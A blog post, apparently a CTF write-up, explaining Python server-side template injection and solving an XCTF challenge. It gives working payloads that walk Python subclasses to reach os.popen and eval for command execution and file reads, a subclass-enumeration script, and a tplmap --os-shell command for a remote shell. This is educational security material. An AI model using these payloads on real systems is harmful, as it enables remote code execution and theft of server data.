banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

SSTIの脆弱性の初歩的な調査

起因#

xctf上做题遇到的

0x00 SSTI 漏洞简介#

SSTI:Server-Side Template Injection

サーバーサイドテンプレートインジェクションは、フォーマット文字列の脆弱性の一種です。

インジェクションは、フォーマット文字列の脆弱性の一種です

バイナリまたは Web のいずれの場合でも、多くの脆弱性はフォーマット文字列の脆弱性に帰結することができます。

SQL インジェクションは、フォーマット文字列の脆弱性の最も典型的な例であり、SQL ステートメントを実行するべきではない場所で SQL ステートメントを実行します。

XSS の一部のコードクロージャインジェクションもこの方法に該当します。

では、テンプレートインジェクションとは何でしょうか?

HTML コードを書く際に、多くのウェブサイトはテンプレートを使用しています。最初に HTML ファイルを作成し、開発者がそのテンプレートに対応するスタイルを必要とする場合、テンプレートを直接呼び出すためにrender_template_stringメソッドを使用することができます。

これにより、スタイルが直接レンダリングされます。テンプレートインジェクションは、一連の命令を変数の代わりにテンプレートに渡して実行することを指します。

0x01writeup#

まず、単純なテスト URL を作成します:

xxx.xxx.xxx.xxx:yyyyy/{{7*7}}

image

7*7の命令が実行されていることがわかります。

問題はpython template injectionと言っているので、サーバースクリプトは Python であることを示しています。

そのため、Python のクラス内メソッドを知る必要があります:

  • class : オブジェクトが所属するクラスを返します。
  • mro : クラスが継承する基底クラスのタプルを返します。メソッドはタプルの順序で解析されます。
  • base : クラスが継承する基底クラスを返します。
  • basemroは基底クラスを検索するために使用されます。
  • subclasses : 各新しいクラスは、子クラスの参照を保持しています。このメソッドは、まだ使用可能な参照のリストを返します。
  • init : クラスの初期化メソッド
  • globals : 関数のグローバル変数を含む辞書への参照

まず、すべてのモジュールを表示します:

xxx.xxx.xxx.xxx:yyyyy/%7B%7B[].__class__.__base__.__subclasses__()%7D%7D

image

ここで、多くのモジュールが表示されますが、後でモジュールを簡単に使用できるように、対応する番号をリストアップするスクリプトを作成しました:

import requests
import re
import html
url = "http://xxx.xxx.xxx.xxx:yyyyy/[].__class__.__base__.__subclasses__()%7D%7D"
cont = html.unescape(requests.get(url).content.decode("utf8"))
type_list = re.findall(r"<type '.*?'>|<class '.*?'>", cont, re.S)
print(type_list)
for i in range(len(type_list)):
    print(i, type_list[i])

結果は以下のようになります:

image

ここでは、catch_warningsモジュールの.__init__.func_globals.keys()linecache関数を使用してosモジュールを呼び出すことができます。

xxx.xxx.xxx.xxx:yyyyy/%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D

image

または、osprinter関数を使用してos.popen関数を実行することもできます。

xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()%7D%7D

image

次に、os.popenを使用してcat fl4gコマンドでfl4gファイルの内容を表示します。

xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()%7D%7D

または、osモジュールのlistdirメソッドを使用してflagファイルを検索することもできます。

xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')%7D%7D

image

最後に、fileメソッドを使用してfl4gを読み取ります。

xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()%7D%7D

最終的な結果は以下の通りです:

image

この問題は、サーバーサイドテンプレートインジェクションツールtplmapを使用することもできます。

python2環境で、urlを指定して--os-shellパラメータを追加すると、ターゲットホストのシェルを直接取得できます。

python tplmap.py -u "http://xxx.xxx.xxx.xxx:yyyyy/*" --os-shell

image

以上です。

参考文献:

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。